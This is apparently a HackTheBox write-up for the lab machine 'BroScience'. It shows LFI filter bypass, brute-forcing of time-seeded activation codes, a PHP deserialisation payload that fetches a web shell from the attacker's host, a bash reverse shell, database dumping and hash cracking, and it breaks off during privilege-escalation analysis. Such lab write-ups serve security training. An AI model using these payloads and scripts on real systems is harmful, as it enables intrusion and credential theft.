HackTheBox Writeup - BroScience
BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site's theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH password for the machine's main user bill. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl, forfeiting root access to the attacker.
Recon
Nmap
Always run nmap twice
- From people who have taken OSCP
1
2
3
4
5
6
7
┌──(root㉿kali)-[~/BroScience]
└─# nmap -p- 10.10.11.195 -Pn -T4 -vv
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Main scan result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Nmap 7.93 scan initiated Sun Apr 9 08:20:04 2023 as: nmap -sVC -p- -T4 -Pn -vv -oA broscience 10.10.11.195
Nmap scan report for 10.10.11.195
Host is up, received user-set (0.082s latency).
Scanned at 2023-04-09 08:20:05 EDT for 65s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB5dEat1MGh3CDDnkl4tdWQcTpdWZYHZj5/Orv3PDjSiQ4dg1i35kknwiZrXLiMsUu/4TigP9Kc3h4M1CS7E3/GprpWxuGmipEucoQuNEtaM0sUa8xobtFxOVF46kS0++ozTd4+zbSLsu73SlLcSuSFalhGnHteHj6/ksSeX642103SMqkkmEu/cbgofkoqQOCYk3Qa42bZq5bjS/auGAlPoAxTjjVtpHnXOKOU7M6gkewD91FB3GAMUdwqR/PJcA5xqGFZm2St9ecSbewCur6pLN5YKnNhvdID4ijWI22gu5pLxHL9XjORMbSUkJbB79VoYJZaNkdOgt+HXR67s9DWI47D6/+pO0dTfQgMFgOCxYheWMDQ2FuyHyGX1CZpMVLAo3sjOvxAqk7eUGutsyBAlYCD4lhSFs6RhSBynahHQah7+Lv5LKRriZe/fQIgrJrQj+tR4Uhz89eWGrXK9bjN22wy7tVkMG/w5dOwo7S3Wi0aTZfd/17D0z7wSdiAiE=
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCgM9UKdxFmXRJESXdlb+BSl+K1F0YCkOjSa8l+tgD6Y3mslSfrawZkdfq8NKLZlmOe8uf1ykgXjLWVDQ9NrJBk=
| 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMwR+IfRojCwiMuM3tZvdD5JCD2MRVum9frUha60bkN
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after: 2023-07-14T19:48:36
| MD5: 5328ddd62f3429d11d26ae8a68d86e0c
| SHA-1: 20568d0d9e4109cde5a22021fe3f349c40d8d75b
...
|_http-title: BroScience : Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 9 08:21:10 2023 -- 1 IP address (1 host up) scanned in 66.56 seconds
Quick copy file content from cli
1 2 ┌──(root㉿kali)-[~/BroScience] └─# cat broscience.nmap| xclip -selection c
Add to hosts
1
echo '10.10.11.195 broscience.htb' >> /etc/hosts
80 - BroScience : Home
Info
Dir
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
┌──(root㉿kali)-[~/BroScience]
└─# feroxbuster -u broscience.htb --burp -e -A -x php
301 GET 9l 28w 319c https://broscience.htb/images => https://broscience.htb/images/
301 GET 9l 28w 321c https://broscience.htb/includes => https://broscience.htb/includes/
301 GET 9l 28w 319c https://broscience.htb/styles => https://broscience.htb/styles/
302 GET 0l 0w 0c https://broscience.htb/logout.php => https://broscience.htb/index.php
200 GET 42l 97w 1936c https://broscience.htb/login.php
302 GET 1l 3w 13c https://broscience.htb/comment.php => https://broscience.htb/login.php
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/images (Apache)
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/includes (Apache)
200 GET 29l 70w 1309c https://broscience.htb/user.php
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/styles (Apache)
200 GET 3l 7w 44c https://broscience.htb/styles/light.css
200 GET 45l 104w 2161c https://broscience.htb/register.php
301 GET 9l 28w 323c https://broscience.htb/javascript => https://broscience.htb/javascript/
200 GET 5l 14w 369c https://broscience.htb/includes/header.php
200 GET 28l 71w 1322c https://broscience.htb/exercise.php
200 GET 3270l 20216w 1847611c https://broscience.htb/images/deadlift.png
200 GET 0l 0w 0c https://broscience.htb/includes/db_connect.php
200 GET 3l 7w 41c https://broscience.htb/styles/dark.css
200 GET 0l 0w 0c https://broscience.htb/includes/utils.php
200 GET 161l 1002w 83700c https://broscience.htb/images/seated_rows.png
200 GET 1l 4w 39c https://broscience.htb/includes/img.php
200 GET 147l 510w 9304c https://broscience.htb/index.php
200 GET 147l 510w 9304c https://broscience.htb/
301 GET 9l 28w 319c https://broscience.htb/manual => https://broscience.htb/manual/
500 GET 2l 4w 65c https://broscience.htb/includes/navbar.php
200 GET 904l 5421w 549177c https://broscience.htb/images/tricep_extensions.jpeg
403 GET 9l 28w 280c https://broscience.htb/.php
200 GET 383l 2045w 205698c https://broscience.htb/images/barbell_squats.jpeg
200 GET 220l 1542w 123552c https://broscience.htb/images/reverse_butterfly.jpeg
200 GET 122l 678w 56054c https://broscience.htb/images/bench.png
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/images (Apache)
301 GET 9l 28w 322c https://broscience.htb/manual/en => https://broscience.htb/manual/en/
301 GET 9l 28w 326c https://broscience.htb/manual/images => https://broscience.htb/manual/images/
301 GET 9l 28w 322c https://broscience.htb/manual/de => https://broscience.htb/manual/de/
301 GET 9l 28w 322c https://broscience.htb/manual/fr => https://broscience.htb/manual/fr/
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style (Apache)
301 GET 9l 28w 325c https://broscience.htb/manual/style => https://broscience.htb/manual/style/
200 GET 2608l 13980w 1065974c https://broscience.htb/images/shoulder_press.jpeg
301 GET 9l 28w 322c https://broscience.htb/manual/es => https://broscience.htb/manual/es/
200 GET 1227l 7821w 677704c https://broscience.htb/manual/images/bal-man-w.png
301 GET 9l 28w 322c https://broscience.htb/manual/ru => https://broscience.htb/manual/ru/
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style/css (Apache)
200 GET 27l 66w 481c https://broscience.htb/manual/style/build.properties
200 GET 299l 1691w 134287c https://broscience.htb/manual/images/build_a_mod_2.png
200 GET 29l 147w 1082c https://broscience.htb/manual/style/manualpage.dtd
200 GET 1193l 6976w 583650c https://broscience.htb/images/dumbell_curls.jpeg
200 GET 50l 355w 31098c https://broscience.htb/manual/images/custom_errordocs.png
200 GET 155l 390w 3065c https://broscience.htb/manual/style/css/manual-loose-100pc.css
200 GET 92l 345w 2844c https://broscience.htb/manual/style/modulesynopsis.dtd
301 GET 9l 28w 322c https://broscience.htb/manual/ja => https://broscience.htb/manual/ja/
200 GET 16l 74w 5983c https://broscience.htb/manual/images/ssl_intro_fig1.png
200 GET 23l 141w 885c https://broscience.htb/manual/style/css/manual-zip-100pc.css
200 GET 42l 190w 1425c https://broscience.htb/manual/style/sitemap.dtd
301 GET 9l 28w 322c https://broscience.htb/manual/tr => https://broscience.htb/manual/tr/
403 GET 9l 28w 280c https://broscience.htb/manual/.php
301 GET 9l 28w 327c https://broscience.htb/manual/en/misc => https://broscience.htb/manual/en/misc/
301 GET 9l 28w 322c https://broscience.htb/manual/ko => https://broscience.htb/manual/ko/
301 GET 9l 28w 322c https://broscience.htb/manual/da => https://broscience.htb/manual/da/
200 GET 24l 127w 907c https://broscience.htb/manual/style/lang.dtd
200 GET 1048l 2315w 19081c https://broscience.htb/manual/style/css/manual.css
200 GET 173l 1008w 81048c https://broscience.htb/manual/images/syntax_rewritecond.png
200 GET 717l 1598w 13200c https://broscience.htb/manual/style/css/manual-print.css
200 GET 105l 493w 29291c https://broscience.htb/manual/images/caching_fig1.gif
301 GET 9l 28w 327c https://broscience.htb/manual/de/misc => https://broscience.htb/manual/de/misc/
MSG 0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style/latex (Apache)
200 GET 24l 130w 925c https://broscience.htb/manual/style/version.ent
301 GET 9l 28w 327c https://broscience.htb/manual/fr/misc => https://broscience.htb/manual/fr/misc/
301 GET 9l 28w 327c https://broscience.htb/manual/es/misc => https://broscience.htb/manual/es/misc/
200 GET 121l 625w 3616c https://broscience.htb/manual/style/css/prettify.css
301 GET 9l 28w 327c https://broscience.htb/manual/ru/misc => https://broscience.htb/manual/ru/misc/
301 GET 9l 28w 326c https://broscience.htb/manual/en/faq => https://broscience.htb/manual/en/faq/
200 GET 80l 279w 2582c https://broscience.htb/manual/style/latex/atbeginend.sty
200 GET 1048l 6218w 583812c https://broscience.htb/manual/images/bal-man-b.png
301 GET 9l 28w 327c https://broscience.htb/manual/ja/misc => https://broscience.htb/manual/ja/misc/
301 GET 9l 28w 331c https://broscience.htb/manual/en/programs => https://broscience.htb/manual/en/programs/
301 GET 9l 28w 332c https://broscience.htb/manual/es/developer => https://broscience.htb/manual/es/developer/
301 GET 9l 28w 328c https://broscience.htb/manual/en/howto => https://broscience.htb/manual/en/howto/
200 GET 9l 44w 5193c https://broscience.htb/manual/images/ssl_intro_fig2.gif
200 GET 8l 24w 1868c https://broscience.htb/manual/images/mod_filter_new.png
301 GET 9l 28w 328c https://broscience.htb/manual/de/howto => https://broscience.htb/manual/de/howto/
301 GET 9l 28w 331c https://broscience.htb/manual/en/platform => https://broscience.htb/manual/en/platform/
301 GET 9l 28w 330c https://broscience.htb/manual/tr/rewrite => https://broscience.htb/manual/tr/rewrite/
301 GET 9l 28w 330c https://broscience.htb/manual/ja/rewrite => https://broscience.htb/manual/ja/rewrite/
301 GET 9l 28w 331c https://broscience.htb/manual/ko/platform => https://broscience.htb/manual/ko/platform/
301 GET 9l 28w 331c https://broscience.htb/manual/da/platform => https://broscience.htb/manual/da/platform/
301 GET 9l 28w 329c https://broscience.htb/manual/ko/vhosts => https://broscience.htb/manual/ko/vhosts/
301 GET 9l 28w 329c https://broscience.htb/manual/ja/vhosts => https://broscience.htb/manual/ja/vhosts/
301 GET 9l 28w 329c https://broscience.htb/manual/da/vhosts => https://broscience.htb/manual/da/vhosts/
Subdomains
1
2
┌──(root㉿kali)-[~/BroScience]
└─# ffuf -c -u https://broscience.htb -H "Host: FUZZ.broscience.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -k -fs 9304 -o subdomains.ffuf
/login.php
/register.php
Tried login, shows Account is not activated
/exercise.php
/exercise.php?id=1
Possible sql injection (Failed)
/includes/img.php
/includes/img.php?path=bench.png
Possible LFI
It have WAF, filtering char : /
Use ffuf to fuzz bypass method
1
ffuf -c -u "https://broscience.htb/includes/img.php?path=FUZZ" -k -fr "Attack detected" -fs 0 -x http://127.0.0.1:8080 -w /usr/share/payloadsallthethings/Directory\ Traversal/Intruder/dotdotpwn.txt
Double url encode successfully escaped WAF
Cyberchef:
Get users
1
GET /includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
1
2
3
4
5
┌──(root㉿kali)-[~/BroScience]
└─# cat passwd| grep sh$
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
/includes/
Directory Listing found
User Flag
Dump php files
Write script to download php files
lfi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
"""
Hack The Box: Broscience, File crawling and download via LFI
"""
import requests
import re
import urllib3
from pathlib import Path
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
LFI_URI = "https://broscience.htb/includes/img.php?path=..%252f"
def encode_path(path: str) -> str:
"""Double encode the path to avoid the filter"""
return path.replace("/", "%252f")
def get_content(file_path: str) -> bytes:
"""Get the file content"""
url = f"{LFI_URI}{encode_path(file_path)}"
r = requests.get(url, verify=False)
print(f"[*] Getting {url}")
return r.content
def download_file(file_path: Path):
"""Download the file"""
file_content = get_content(str(file_path))
root_path = Path(__file__).parent / "app"
full_path = root_path / file_path
if not full_path.parent.exists():
full_path.parent.mkdir(parents=True)
with open(full_path, "wb") as f:
f.write(file_content)
print(f"[+] Downloaded : {full_path}")
def main():
with open("/root/BroScience/dir.feroxbuster", "r") as f:
urls = f.read()
php_paths = re.findall(r"broscience.htb/(\S*\.php)", urls)
for path in set(php_paths):
download_file(Path(path))
if __name__ == "__main__":
main()
Browse the codes easily
includes/db_connect.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
includes/img.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
register.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
...
- The email activation function isnt implemented yet
utils.php
1
2
3
4
5
6
7
8
9
10
11
...
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
...
Activate website user
Search srand() on php manual
It generates activation codes based on time stamp
Register an account then copy timestamp
Date: Wed, 12 Apr 2023 15:57:33 GMT
- Google
online to unix timestamp
https://www.epochconverter.com/
change random seed to the timestamp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[/home/kali/broscience]
└─# php -a
Interactive shell
php > echo time();
1681314991
php > function generate_activation_code() {
php { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
php { srand(1681315053);
php { $activation_code = "";
php { for ($i = 0; $i < 32; $i++) {
php { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
php { }
php { return $activation_code;
php { }
php > echo generate_activation_code();
54aIbVLKGR7ZGXARNpuLBn3zO4woOe1q
Got activation failed ressonse
Write two scripts to generate activate codes
user_activator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
"""HTB : Broscience user activate script"""
import requests
import urllib3
import sys
from datetime import timezone
from datetime import datetime, timedelta
from subprocess import check_output
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class User:
def __init__(self, username:str) -> None:
self.username = username
self.password = "QAQ"
self.activate_code = ""
self.session = requests.Session()
def generate_codes(self, register_time: datetime) -> list:
codes = []
gap_second = 10
# loop through register_time - gap_second to register_time + gap_second to find the correct time
for i in range(gap_second * -1, gap_second):
new_time = register_time + timedelta(seconds=i)
timestamp = int(new_time.timestamp())
result = check_output(["php", "activate.php", str(timestamp)]).decode("utf-8").strip()
codes.append(result)
print("[*] Saving generated codes to activate_codes.txt..")
with open("activate_codes.txt", "w") as f:
f.writelines(codes)
return codes
def register(self) -> datetime:
"""Register a new account"""
data = f"username={self.username}&email={self.username}@broscience.htb&password={self.password}&password-confirm={self.password}"
print(f"[*] Registering | {self.username} : {self.password}")
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxies={"https": "http://127.0.0.1:8080"}
r = self.session.post("https://broscience.htb/register.php", headers=headers ,data=data, verify=False, proxies=proxies)
if "Account created" in r.text:
print(f"[+] Registered {self.username}")
date_str = r.headers.get("Date").strip()
date_obj = datetime.strptime(date_str, "%a, %d %b %Y %H:%M:%S %Z")
date_obj = date_obj.replace(tzinfo=timezone.utc)
return date_obj
elif "Username is already taken." in r.text:
print("[!] Username is already taken.")
else:
print("[!] Unknown error.")
def activate(self, code: str):
"""Send activate request"""
if self.activate_code:
return
print(f"[*] Activating {code}")
r = self.session.get(f"https://broscience.htb/activate.php?code={code}", verify=False)
if "Invalid activation code." not in r.text:
self.activate_code = code
print(f"[+] Activated : {code}")
if __name__ == "__main__":
# reg_time = datetime(2023, 4, 12, 17, 31, 10, tzinfo=timezone.utc)
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <username>")
sys.exit(1)
username = sys.argv[1]
user = User(username)
reg_time = user.register()
print(f"{reg_time=}")
if not reg_time:
sys.exit(1)
activate_codes = user.generate_codes(reg_time)
with ThreadPoolExecutor(max_workers=10) as executor:
for code in activate_codes:
executor.submit(user.activate, code)
if user.activate_code:
break
result = f"\n[+] Done.\n[*] Creds | {user.username} : {user.password}\n[*] Activate code: {user.activate_code}"
print(result)
activate.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function generate_activation_code($timestamp) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($timestamp);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
echo generate_activation_code($argv[1]);
?>
Run the script
1
2
┌──(root㉿kali)-[/home/kali/broscience]
└─# python3 user_activator.py bravosec
Can also use ffuf to bruteforce activation code
1
ffuf -c -u "https://broscience.htb/activate.php?code=FUZZ" -w active_codes.txt -fr "Invalid"
Successfully login
IDOR
After login, found an IDOR in user’s profile function
https://broscience.htb/user.php?id=1
Static Application Security Testing
Always do SAST if have access to source code during PT
Use snyk
Found unsecure deserialization
Exploit PHP deserialization
User’s original cookie
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}
Craft payload
PHP mapping to python cheat table
| php | python |
|---|---|
$this->obj = "wew" | self.obj = "wew" |
payload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.12/xd.php";
public $imgPath = "./xd.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = serialize(new AvatarInterface());
echo sprintf("%s\n%s", $payload, base64_encode($payload));
?>
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[/home/kali/broscience]
└─# mkdir www
┌──(root㉿kali)-[/home/kali/broscience]
└─# cd www
┌──(root㉿kali)-[/home/kali/broscience/www]
└─# echo '<?php echo system($_GET["cmd"]); ?>' > xd.php
┌──(root㉿kali)-[/home/kali/broscience/www]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Exploit
1
2
3
4
┌──(root㉿kali)-[/home/kali/broscience]
└─# php payload.php
O:15:"AvatarInterface":2:{s:3:"tmp";s:25:"http://10.10.14.12/xd.php";s:7:"imgPath";s:8:"./xd.php";}
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNToiaHR0cDovLzEwLjEwLjE0LjEyL3hkLnBocCI7czo3OiJpbWdQYXRoIjtzOjg6Ii4veGQucGhwIjt9
Get rev shell
1
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.12/443 0>&1'
CTRL + U to quick encode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/BroScience]
└─# nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.195] 56148
bash: cannot set terminal process group (837): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"
<tml$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@broscience:/var/www/html$ ^Z
zsh: suspended nc -lvnp 1111
┌──(root㉿kali)-[~/BroScience]
└─# stty raw -echo; fg
[1] + continued nc -lvnp 1111
www-data@broscience:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Get User : bill
Dump DB
1
2
3
4
www-data@broscience:/home/bill$ cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
oh yeah postgres, use previous dumped creds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
www-data@broscience:/tmp$ psql -h localhost -d broscience -U dbuser
Password for user dbuser:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience=> \d+
WARNING: terminal is not fully functional
- (press RETURN) List of relations
Schema | Name | Type | Owner | Persistence | Size | De
scription
--------+------------------+----------+----------+-------------+------------+---
----------
public | comments | table | postgres | permanent | 16 kB |
public | comments_id_seq | sequence | postgres | permanent | 8192 bytes |
public | exercises | table | postgres | permanent | 16 kB |
public | exercises_id_seq | sequence | postgres | permanent | 8192 bytes |
public | users | table | postgres | permanent | 8192 bytes |
public | users_id_seq | sequence | postgres | permanent | 8192 bytes |
(6 rows)
broscience=> select * from users;
WARNING: terminal is not fully functional
- (press RETURN) id | username | password | email
| activation_code | is_activated | is_admin | dat
e_created
----+---------------+----------------------------------+------------------------
------+----------------------------------+--------------+----------+------------
-------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscienc
e.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07
02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb
| WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07
03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb
| zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01
04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb
| oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21
11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb
| 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13
10:34:36.226763-04
(5 rows)
Crack hashes
We know the password is salted by viewing the code of [[HackTheBox Writeup - BroScience#User Flag#Dump php files#register.php]]
Format: NaCl<PASSWORD>
1
2
3
4
5
6
7
8
9
10
11
12
broscience=> select username || ':' || password || ':NaCl' from users;
WARNING: terminal is not fully functional
- (press RETURN) ?column?
-----------------------------------------------------
administrator:15657792073e8a843d4f91fc403454e1:NaCl
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
john:a7eed23a7be6fe0d765197b1027453fe:NaCl
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl
(5 rows)
(END)broscience=>
Crack the hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/BroScience]
└─# vi hashes
┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user
...
The following 20 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
10 | md5($pass.$salt) | Raw Hash salted and/or iterated
20 | md5($salt.$pass) | Raw Hash salted and/or iterated
...
┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user -m 20
...
Started: Sat Apr 15 09:14:44 2023
Stopped: Sat Apr 15 09:15:18 2023
┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user -m 20 --show
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
SSH via bill
1
2
3
4
┌──(root㉿kali)-[~/BroScience]
└─# ssh bill@broscience.htb
bill@broscience:~$ cat user.txt
8a2ba6fc44112b4b550deb15c3d4c55c
Root Flag
Cron Job As ROOT
1
2
3
4
bill@broscience:~$ echo 'ssh-rsa AAAAB3NzaC1yc2... root@kali' >> ~/.ssh/authorized_keys
bill@broscience:~$ sudo -l
[sudo] password for bill:
Sorry, user bill may not run sudo on broscience.
Use Pspy
1
2
3
┌──(root㉿kali)-[/home/kali/broscience]
└─# scp /opt/tools/privesc/pspy64 bill@broscience.htb:/tmp/
pspy64
1
2
3
bill@broscience:~$ cd /tmp
bill@broscience:/tmp$ chmod +x pspy64
bill@broscience:/tmp$ ./pspy64
/opt/renew_cert.sh
1
bill@broscience:/tmp$ cat /opt/renew_cert.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
